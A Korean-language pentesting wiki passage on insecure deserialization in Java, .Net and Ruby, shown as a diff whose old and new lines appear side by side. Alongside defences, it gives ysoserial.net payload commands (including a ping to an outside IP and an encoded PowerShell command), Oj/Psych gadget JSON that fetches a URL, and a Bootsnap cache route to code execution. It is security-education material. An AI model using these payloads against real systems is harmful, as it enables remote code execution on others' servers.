특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -578,7 +578,7 @@ throw new java.io.IOException("Cannot be deserialized");
- 역직렬화 코드가 귀하의 제어 하에 있을 때.
- 역직렬화에 예상되는 클래스가 알려져 있을 때.
**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 명시적으로 허용된 클래스인 `Bicycle` 클래스만 역직렬화되도록 방지합니다:
**`resolveClass()`** 메서드를 재정의하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 명시적으로 허용된 클래스 외에는 어떤 클래스도 역직렬화되지 않도록 방지합니다:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -599,7 +599,7 @@ return super.resolveClass(desc);
}
}
```
**보안 강화를 위한 Java 에이전트 사용**은 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
**Java 에이전트를 사용한 보안 강화**는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
```
-javaagent:name-of-agent.jar
```
@ -609,7 +609,7 @@ return super.resolveClass(desc);
**직렬화 필터 구현**: Java 9는 **`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입하여, 역직렬화되기 전에 직렬화된 객체가 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 역직렬화 프로세스에 대한 세밀한 제어를 제공합니다.
직렬화 필터를 사용하려면 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:
직렬화 필터를 사용하려면, 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -630,20 +630,20 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### 참고 문헌
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- 역직렬화 및 ysoserial 강: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- 역직렬화 및 ysoserial 강: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- gadgetinspector에 대한 강: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 및 슬라이드: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- gadgetinspector에 대한 강: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) 및 슬라이드: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec 논문: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java 및 .Net JSON 역직렬화 **논문:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 강: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 및 슬라이드: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- 역직렬화 CVE: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI 인젝션 및 log4Shell
**JNDI 인젝션, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**에 대한 내용은 다음 페이지에서 확인할 수 있습니다:
**JNDI 인젝션, RMI, CORBA 및 LDAP를 통한 악용 방법 및 log4shell의 취약점 예시**에 대한 내용은 다음 페이지에서 확인하세요:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -651,7 +651,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java 메시지 서비스
> **Java 메시지 서비스** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE를 기반으로 하는 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java 메시지 서비스** (**JMS**) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 생산자-소비자 문제를 처리하기 위한 구현입니다. JMS는 Java 플랫폼, 엔터프라이즈 에디션(Java EE)의 일부이며, Sun Microsystems에서 개발한 사양에 의해 정의되었지만 이후 Java 커뮤니티 프로세스에 의해 안내되었습니다. 이는 Java EE 기반의 애플리케이션 구성 요소가 메시지를 생성, 전송, 수신 및 읽을 수 있도록 하는 메시징 표준입니다. 이는 분산 애플리케이션의 다양한 구성 요소 간의 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만듭니다. (출처: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### 제품
@ -666,31 +666,31 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
기본적으로 **위험한 방식으로 JMS를 사용하는 서비스가 많이 있습니다**. 따라서 이러한 서비스에 메시지를 전송할 **충분한 권한**이 있는 경우(일반적으로 유효한 자격 증명이 필요함) **소비자/구독자가 역직렬화할 악성 객체를 직렬화하여 전송할 수 있습니다**.\
이는 이 악용에서 **해당 메시지를 사용할 모든 클라이언트가 감염될 것**임을 의미합니다.
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 여전히 취약점을 악용하기 위 유효한 가젯을 찾아야 한다는 점을 기억해야 합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악성 객체를 직렬화하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 악용은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있을 경우 작동합니다.
도구 [JMET](https://github.com/matthiaskaiser/jmet)는 **알려진 가젯을 사용하여 여러 악성 객체를 직렬화하여 이 서비스를 연결하고 공격하기 위해 생성되었습니다**. 이러한 익스플로잇은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 있는 경우에 작동합니다.
### 참고 문헌
- [Patchstack advisory Everest Forms 인증되지 않은 PHP 객체 주입 (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMET 강: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- JMET 강: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- 슬라이드: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
.Net의 맥락에서 역직렬화 악용은 Java에서 발견되는 방식과 유사하게 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
.Net의 맥락에서 역직렬화 익스플로잇은 Java에서 발견되는 것과 유사한 방식으로 작동하며, 가젯을 악용하여 객체의 역직렬화 중 특정 코드를 실행합니다.
### 지문
#### 화이트박스
소스 코드는 다음 항목의 발생 여부를 검사해야 합니다:
소스 코드를 검사하여 다음 항목의 발생 여부를 확인해야 합니다:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
사용자 제어 변수에 의해 유형이 결정될 수 있는 직렬 변환기에 초점을 맞춰야 합니다.
사용자 제어 변수에 의해 유형이 결정될 수 있는 직렬기에 초점을 맞춰야 합니다.
#### 블랙박스
@ -698,24 +698,24 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### ysoserial.net
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 악용을 생성할 수 있습니다**. Git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일해야 합니다**.
이 경우 도구 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net)을 사용하여 **역직렬화 익스플로잇을 생성**할 수 있습니다. Git 리포지토리를 다운로드한 후, 예를 들어 Visual Studio를 사용하여 **도구를 컴파일**해야 합니다.
**ysoserial.net이 악용을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net이 익스플로잇을 생성하는 방법**에 대해 배우고 싶다면 [**ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포맷터가 설명된 이 페이지를 확인하세요**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
**ysoserial.net**의 주요 옵션은: **`--gadget`**, **`--formatter`**, **`--output`** 및 **`--plugin`**입니다.
- **`--gadget`**는 악용할 가젯을 지정하는 데 사용됩니다(역직렬화 중 명령을 실행하기 위해 악용될 클래스/함수를 지정).
- **`--formatter`**는 악용을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알고 동일한 것을 사용하여 직렬화해야 함).
- **`--output`**는 악용**원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로(Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 **인코딩 호환성 문제**가 발생하여 악용이 제대로 작동하지 않을 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 악용을 제작하기 위해 플러그인을 지원합니다**.
- **`--formatter`**는 익스플로잇을 직렬화하는 방법을 지정하는 데 사용됩니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알고 동일한 것을 사용하여 직렬화해야 함).
- **`--output`**는 익스플로잇**원시** 또는 **base64** 인코딩으로 원하는지 지정하는 데 사용됩니다. _**ysoserial.net**은 페이로드를 **UTF-16LE**로 **인코딩**하므로(Windows에서 기본적으로 사용되는 인코딩) 원시 데이터를 가져와 리눅스 콘솔에서 인코딩하면 익스플로잇이 제대로 작동하지 않게 하는 **인코딩 호환성 문제**가 발생할 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 모두에서 작동했지만 항상 작동한다는 의미는 아닙니다)._
- **`--plugin`** ysoserial.net은 ViewState와 같은 **특정 프레임워크를 위한 익스플로잇을 제작하기 위해 플러그인을 지원합니다**.
#### ysoserial.net의 추가 매개변수
#### 더 많은 ysoserial.net 매개변수
- `--minify`는 **더 작은 페이로드**를 제공합니다(가능한 경우).
- `--raf -f Json.Net -c "anything"`는 제공된 포맷터(`Json.Net`인 경우)와 함께 사용할 수 있는 모든 가젯을 나타냅니다.
- `--sf xml`**가젯**(`-g`)을 지정할 수 있으며 ysoserial.net은 "xml"이 포함된 포맷터를 검색합니다(대소문자 구분 없음).
**ysoserial 예제**를 사용하여 악용을 생성합니다:
**ysoserial 예제**를 통한 익스플로잇 생성:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -735,7 +735,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
```
**ysoserial.net**에는 각 익스플로잇이 어떻게 작동하는지 더 잘 이해하는 데 도움이 되는 **매우 흥미로운 매개변수**가 있습니다: `--test`\
이 매개변수를 지정하면 **ysoserial.net**이 **로컬에서 익스플로잇을 시도**하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.\
이 매개변수는 코드 리뷰를 할 때 유용한데, 다음과 같은 코드 조각을 찾을 수 있습니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
이 매개변수는 코드 검토 시 다음과 같은 코드 조각을 찾을 수 있기 때문에 유용합니다 (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -761,11 +761,11 @@ return obj;
}
```
In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.\
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
따라서 **`--test`** 매개변수는 **어떤 코드 조각이** **ysoserial.net**이 생성할 수 있는 역직렬화 익스플로잇에 취약한지 이해하는 데 도움이 됩니다.
### ViewState
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md)**. 임의의 코드를 실행하기 위해.** 만약 **희생자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
[**.Net의 \_\_ViewState 매개변수를 악용하는 방법에 대한 이 POST를 확인하세요**](exploiting-__viewstate-parameter.md)**. 임의의 코드를 실행하기 위해.** 만약 **피해자 머신에서 사용된 비밀을 이미 알고 있다면**, [**코드를 실행하는 방법을 알아보려면 이 포스트를 읽으세요**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Prevention
@ -773,13 +773,13 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라
- **데이터 스트림이 객체 유형을 정의하도록 허용하지 마십시오.** 가능할 경우 `DataContractSerializer` 또는 `XmlSerializer`를 사용하십시오.
- **`JSON.Net`의 경우 `TypeNameHandling``None`으로 설정하십시오:** `TypeNameHandling = TypeNameHandling.None`
- **`JavaScriptSerializer``JavaScriptTypeResolver`의 사용을 피하십시오.**
- **`JavaScriptSerializer``JavaScriptTypeResolver`를 사용하지 마십시오.**
- **역직렬화할 수 있는 유형을 제한하십시오**, `System.IO.FileInfo`와 같은 .Net 유형의 고유한 위험을 이해하십시오. 이는 서버 파일의 속성을 수정할 수 있어 서비스 거부 공격으로 이어질 수 있습니다.
- **위험한 속성을 가진 유형에 주의하십시오**, `Value` 속성이 있는 `System.ComponentModel.DataAnnotations.ValidationException`과 같이 악용될 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하여** 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하십시오. 이로 인해 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약해질 수 있습니다.
- **타입 인스턴스화를 안전하게 제어하십시오**. 공격자가 역직렬화 프로세스에 영향을 미치지 않도록 하여 `DataContractSerializer` 또는 `XmlSerializer`조차도 취약하게 만들 수 있습니다.
- **`BinaryFormatter``JSON.Net`에 대해 사용자 정의 `SerializationBinder`를 사용하여 화이트리스트 제어를 구현하십시오.**
- **.Net 내에서 알려진 불안전한 역직렬화 가젯에 대한 정보를 유지하고** 역직렬화기가 그러한 유형을 인스턴스화하지 않도록 하십시오.
- **잠재적으로 위험한 코드를** 인터넷에 접근할 수 있는 코드와 분리하여 `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출지 않도록 하십시오.
- **잠재적으로 위험한 코드를 인터넷에 접근할 수 있는 코드와 격리하여** `System.Windows.Data.ObjectDataProvider`와 같은 알려진 가젯을 신뢰할 수 없는 데이터 소스에 노출지 않도록 하십시오.
### **References**
@ -790,9 +790,9 @@ In the **이전 코드는 생성된 익스플로잇에 취약합니다**. 따라
## **Ruby**
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로 알려져 있으며, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이 과정을 역직렬화라고 합니다.
루비에서 직렬화는 **marshal** 라이브러리 내의 두 가지 메서드에 의해 수행됩니다. 첫 번째 메서드는 **dump**로, 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로 두 번째 메서드인 **load**는 바이트 스트림을 객체로 되돌리는 데 사용되며, 이를 역직렬화라고 합니다.
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위를 보장합니다. 이 목적을 위해 사용되는 키는 여러 가능한 위치 중 하나에 저장됩니다:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -880,7 +880,7 @@ puts Base64.encode64(payload)
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
또한, **`.send()`**의 매개변수 중 하나만 공격자에 의해 제어된다면, 이전 작성물에서 언급한 바와 같이, **인수가 필요 없는** 객체의 모든 메서드나 **기본값이 있는** 인수를 가진 메서드를 호출할 수 있습니다.\
이를 위해, **그 요구 사항을 충족하는 흥미로운 메서드를 찾기 위해** 객체의 모든 메서드를 열거할 수 있습니다.
```ruby
<Object>.send('<user_input>')
@ -905,21 +905,21 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Ruby 클래스 오염
[여기에서 Ruby 클래스를 오염시키고 악용할 수 있는 방법을 확인하세요](ruby-class-pollution.md).
[여기에서 Ruby 클래스를 오염시키고 악용는 방법을 확인하세요](ruby-class-pollution.md).
### Ruby _json 오염
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 자신이 원하는 임의의 값으로 `_json`이라는 값을 설정할 수도 있습니다. 예를 들어, 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회를 수행할 수 있습니다.
해시 가능하지 않은 배열과 같은 값을 본문에 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자는 본문에 임의의 값을 가진 `_json`이라는 값을 설정할 수도 있습니다. 예를 들어, 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회가 발생할 수 있습니다.
[Ruby _json 오염 페이지에서 더 많은 정보를 확인하세요](ruby-_json-pollution.md).
### 기타 라이브러리
이 기술은 [**이 블로그 게시물에서**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) 가져왔습니다.
이 기술은 [**이 블로그 게시물에서**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) 가져온 것입니다.
객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리에서 호출되는 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):
객체를 직렬화하는 데 사용할 수 있는 다른 Ruby 라이브러리가 있으며, 따라서 불안전한 역직렬화 중에 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리 중 일부와 역직렬화될 때 로드된 라이브러리 메서드를 보여줍니다(기본적으로 RCE를 얻기 위해 악용할 함수):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>라이브러리</strong></td><td><strong>입력 데이터</strong></td><td><strong>클래스 내에서 시작하는 메서드</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (클래스는 해시(맵)의 키로 넣어야 함)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([끝에 json_create에 대한 노트 참조](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
기본 예:
```ruby
@ -943,7 +943,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출하는 가젯 클래스를 찾을 수 있었으며, 이는 spec을 호출하고, fetch_path를 호출하여 무작위 URL을 가져오도록 만들 수 있었습니다. 이는 이러한 종류의 비위생적인 역직렬화 취약점을 탐지하는 데 큰 도움이 됩니다.
```json
{
"^o": "URI::HTTP",
@ -955,7 +955,7 @@ Oj를 악용하려고 시도한 경우, `hash` 함수 내에서 `to_s`를 호출
"password": "anypw"
}
```
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요니다.
또한, 이전 기술을 사용하면 시스템에 폴더가 생성된다는 것이 발견되었으며, 이는 다른 가젯을 악용하여 이를 완전한 RCE로 변환하는 데 필요한 조건입니다.
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -981,13 +981,13 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Bootstrap Caching
실제로는 deserialization 취약점이 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 bootstrap caching을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
실제로는 deserialization 취약점이 아니지만, Rails 애플리케이션에서 임의 파일 쓰기를 통해 RCE를 얻기 위해 bootstrap 캐싱을 악용하는 멋진 트릭입니다 (완전한 [원본 게시물은 여기에서 확인하세요](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 용하는 방법에 대한 기사의 단계 요약입니다:
아래는 Bootsnap 캐싱을 악용하여 임의 파일 쓰기 취약점을 용하는 방법에 대한 기사의 단계 요약입니다:
- 취약점 및 환경 식별
Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱은 제한된 상태에서 실행되지만 (Docker의 비루트 사용자로 인해 tmp와 같은 특정 디렉토리만 쓰기가 가능), 여전히 Bootsnap 캐시 디렉토리 (일반적으로 tmp/cache/bootsnap 아래)에 쓰는 것이 가능합니다.
Rails 앱의 파일 업로드 기능은 공격자가 임의로 파일을 쓸 수 있게 합니다. 앱은 제한된 상태에서 실행되지만(특정 디렉토리만 쓰기 가능, 예: Docker의 비루트 사용자로 인해 tmp), 여전히 Bootsnap 캐시 디렉토리에 쓰는 것이 가능합니다(일반적으로 tmp/cache/bootsnap 아래).
- Bootsnap의 캐시 메커니즘 이해
@ -995,24 +995,24 @@ Bootsnap은 컴파일된 Ruby 코드, YAML 및 JSON 파일을 캐싱하여 Rails
- 파일 메타데이터 수집
공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(예: RUBY_VERSION, RUBY_REVISION, 크기, mtime compile_option)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다.
공격자는 먼저 Rails 시작 시 로드될 가능성이 있는 대상 파일(예: Ruby의 표준 라이브러리에서 set.rb)을 선택합니다. 컨테이너 내에서 Ruby 코드를 실행하여 중요한 메타데이터(예: RUBY_VERSION, RUBY_REVISION, 크기, mtime, compile_option)를 추출합니다. 이 데이터는 유효한 캐시 키를 만드는 데 필수적입니다.
- 캐시 파일 경로 계산
Bootsnap의 FNV-1a 64비트 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 예상하는 정확한 위치에 배치되도록 보장합니다 (예: tmp/cache/bootsnap/compile-cache-iseq/ 아래).
